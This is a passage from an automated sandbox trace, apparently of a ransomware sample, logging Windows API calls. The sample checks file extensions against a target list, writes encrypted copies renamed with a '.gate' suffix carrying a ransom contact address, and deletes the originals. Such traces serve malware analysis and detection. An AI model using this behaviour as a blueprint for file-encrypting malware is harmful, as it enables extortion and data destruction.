(lpString1=".bz2", lpString2=".xml") returned -1 [0275.660] lstrlenW (lpString=".7z") returned 3 [0275.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.660] lstrlenW (lpString=".dbf") returned 4 [0275.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.660] lstrlenW (lpString=".1cd") returned 4 [0275.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.660] lstrlenW (lpString=".jpg") returned 4 [0275.660] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.661] lstrlenW (lpString=".doc") returned 4 [0275.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.661] lstrlenW (lpString=".docx") returned 5 [0275.661] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0275.661] lstrlenW (lpString=".pdf") returned 4 [0275.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.661] lstrlenW (lpString=".xls") returned 4 [0275.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.661] lstrlenW (lpString=".xlsx") returned 5 [0275.661] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0275.661] lstrlenW (lpString=".ppt") returned 4 [0275.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.661] lstrlenW (lpString=".zip") returned 4 [0275.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.661] lstrlenW (lpString=".rar") returned 4 [0275.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.661] lstrlenW (lpString=".bz2") returned 4 [0275.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.661] lstrlenW (lpString=".7z") returned 3 [0275.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.661] lstrlenW (lpString=".dbf") returned 4 [0275.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.661] lstrlenW (lpString=".1cd") returned 4 [0275.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0275.661] lstrlenW (lpString=".jpg") returned 4 [0275.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.662] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.662] lstrlenW (lpString="ipschs.xml") returned 10 [0275.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0275.662] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2462) returned 1 [0275.662] CloseHandle (hObject=0x3ac) returned 1 [0275.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0275.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.662] lstrlenW (lpString=".doc") returned 4 [0275.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.662] lstrlenW (lpString=".docx") returned 5 [0275.662] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0275.662] lstrlenW (lpString=".pdf") returned 4 [0275.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.662] lstrlenW (lpString=".xls") returned 4 [0275.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.662] lstrlenW (lpString=".xlsx") returned 5 [0275.662] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0275.662] lstrlenW (lpString=".ppt") returned 4 [0275.663] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.663] lstrlenW (lpString=".zip") returned 4 [0275.663] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.663] lstrlenW (lpString=".rar") returned 4 [0275.663] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.663] lstrlenW (lpString=".bz2") returned 4 [0275.663] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.663] lstrlenW (lpString=".7z") returned 3 [0275.663] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.663] lstrlenW (lpString=".dbf") returned 4 [0275.663] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.663] lstrlenW (lpString=".1cd") returned 4 [0275.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.663] lstrlenW (lpString=".jpg") returned 4 [0275.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.663] lstrlenW (lpString=".doc") returned 4 [0275.663] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.663] lstrlenW (lpString=".docx") returned 5 [0275.663] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0275.663] lstrlenW (lpString=".pdf") returned 4 [0275.663] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.663] lstrlenW (lpString=".xls") returned 4 [0275.663] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.663] lstrlenW (lpString=".xlsx") returned 5 [0275.663] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0275.663] lstrlenW (lpString=".ppt") returned 4 [0275.663] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.664] lstrlenW (lpString=".zip") returned 4 [0275.664] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.664] lstrlenW (lpString=".rar") returned 4 [0275.664] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.664] lstrlenW (lpString=".bz2") returned 4 [0275.664] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.664] lstrlenW (lpString=".7z") returned 3 [0275.664] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.664] lstrlenW (lpString=".dbf") returned 4 [0275.664] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.664] lstrlenW (lpString=".1cd") returned 4 [0275.664] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0275.664] lstrlenW (lpString=".jpg") returned 4 [0275.664] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.664] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.664] lstrlenW (lpString="ipscht.xml") returned 10 [0275.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0275.665] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2436) returned 1 [0275.665] CloseHandle (hObject=0x3ac) returned 1 [0275.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0275.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.665] lstrlenW (lpString=".doc") returned 4 [0275.665] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.665] lstrlenW (lpString=".docx") returned 5 [0275.665] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0275.665] lstrlenW (lpString=".pdf") returned 4 [0275.665] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.665] lstrlenW (lpString=".xls") returned 4 [0275.665] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.665] lstrlenW (lpString=".xlsx") returned 5 [0275.665] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0275.665] lstrlenW (lpString=".ppt") returned 4 [0275.665] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.665] lstrlenW (lpString=".zip") returned 4 [0275.665] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.665] lstrlenW (lpString=".rar") returned 4 [0275.665] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.665] lstrlenW (lpString=".bz2") returned 4 [0275.665] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString=".7z") returned 3 [0275.666] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.666] lstrlenW (lpString=".dbf") returned 4 [0275.666] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.666] lstrlenW (lpString=".1cd") returned 4 [0275.666] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.666] lstrlenW (lpString=".jpg") returned 4 [0275.666] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.666] lstrlenW (lpString=".doc") returned 4 [0275.666] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString=".docx") returned 5 [0275.666] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0275.666] lstrlenW (lpString=".pdf") returned 4 [0275.666] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString=".xls") returned 4 [0275.666] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString=".xlsx") returned 5 [0275.666] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0275.666] lstrlenW (lpString=".ppt") returned 4 [0275.666] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.666] lstrlenW (lpString=".zip") returned 4 [0275.666] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.666] lstrlenW (lpString=".rar") returned 4 [0275.666] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString=".bz2") returned 4 [0275.666] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.666] lstrlenW (lpString=".7z") returned 3 [0275.667] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.667] lstrlenW (lpString=".dbf") returned 4 [0275.667] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.667] lstrlenW (lpString=".1cd") returned 4 [0275.667] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0275.667] lstrlenW (lpString=".jpg") returned 4 [0275.667] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.667] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.667] lstrlenW (lpString="ipscsy.xml") returned 10 [0275.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0275.736] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2556) returned 1 [0275.736] CloseHandle (hObject=0x3b4) returned 1 [0275.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0275.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0275.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0275.739] lstrlenW (lpString=".doc") returned 4 [0275.739] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.739] lstrlenW (lpString=".docx") returned 5 [0275.739] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0275.739] lstrlenW (lpString=".pdf") returned 4 [0275.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.739] lstrlenW (lpString=".xls") returned 4 [0275.740] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.740] lstrlenW (lpString=".xlsx") returned 5 [0275.740] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0275.740] lstrlenW (lpString=".ppt") returned 4 [0275.740] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0275.740] lstrlenW (lpString=".zip") returned 4 [0275.740] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.740] lstrlenW (lpString=".rar") returned 4 [0275.740] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.740] lstrlenW (lpString=".bz2") returned 4 [0275.740] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.740] lstrlenW (lpString=".7z") returned 3 [0275.740] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0275.740] lstrlenW (lpString=".dbf") returned 4 [0275.740] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0276.643] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.643] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0277.949] GetLastError () returned 0x0 [0277.949] ReadFile (in: hFile=0x3f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xd2f, lpOverlapped=0x0) returned 1 [0278.113] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xd30, lpOverlapped=0x0) returned 1 [0278.113] ReadFile (in: hFile=0x3f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0278.114] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x13e, lpOverlapped=0x0) returned 1 [0278.114] SetEndOfFile (hFile=0x394) returned 1 [0278.114] CloseHandle (hObject=0x394) returned 1 [0278.114] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.114] SetEndOfFile (hFile=0x3f8) returned 1 [0278.117] CloseHandle (hObject=0x3f8) returned 1 [0278.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0278.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.118] lstrlenW (lpString=".doc") returned 4 [0278.118] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0278.118] lstrlenW (lpString=".docx") returned 5 [0278.118] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0278.118] lstrlenW (lpString=".pdf") returned 4 [0278.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0278.118] lstrlenW (lpString=".xls") returned 4 [0278.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0278.118] lstrlenW (lpString=".xlsx") returned 5 [0278.118] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0278.118] lstrlenW (lpString=".ppt") returned 4 [0278.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0278.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.118] lstrlenW (lpString=".zip") returned 4 [0278.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0278.118] lstrlenW (lpString=".rar") returned 4 [0278.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0278.118] lstrlenW (lpString=".bz2") returned 4 [0278.118] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0278.118] lstrlenW (lpString=".7z") returned 3 [0278.118] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0278.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.118] lstrlenW (lpString=".dbf") returned 4 [0278.118] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0278.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.118] lstrlenW (lpString=".1cd") returned 4 [0278.118] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0278.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.118] lstrlenW (lpString=".jpg") returned 4 [0278.119] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0278.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.119] lstrlenW (lpString=".doc") returned 4 [0278.119] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0278.119] lstrlenW (lpString=".docx") returned 5 [0278.119] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0278.119] lstrlenW (lpString=".pdf") returned 4 [0278.119] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0278.119] lstrlenW (lpString=".xls") returned 4 [0278.119] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0278.119] lstrlenW (lpString=".xlsx") returned 5 [0278.119] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0278.119] lstrlenW (lpString=".ppt") returned 4 [0278.119] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0278.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.119] lstrlenW (lpString=".zip") returned 4 [0278.119] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0278.119] lstrlenW (lpString=".rar") returned 4 [0278.119] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0278.119] lstrlenW (lpString=".bz2") returned 4 [0278.119] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0278.119] lstrlenW (lpString=".7z") returned 3 [0278.119] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0278.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.119] lstrlenW (lpString=".dbf") returned 4 [0278.119] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0278.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.119] lstrlenW (lpString=".1cd") returned 4 [0278.119] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0278.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0278.119] lstrlenW (lpString=".jpg") returned 4 [0278.119] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0278.120] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.120] lstrlenW (lpString="AG00037_.GIF") returned 12 [0278.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0278.123] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=6684) returned 1 [0278.123] CloseHandle (hObject=0x3f8) returned 1 [0278.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0278.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0278.124] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.124] 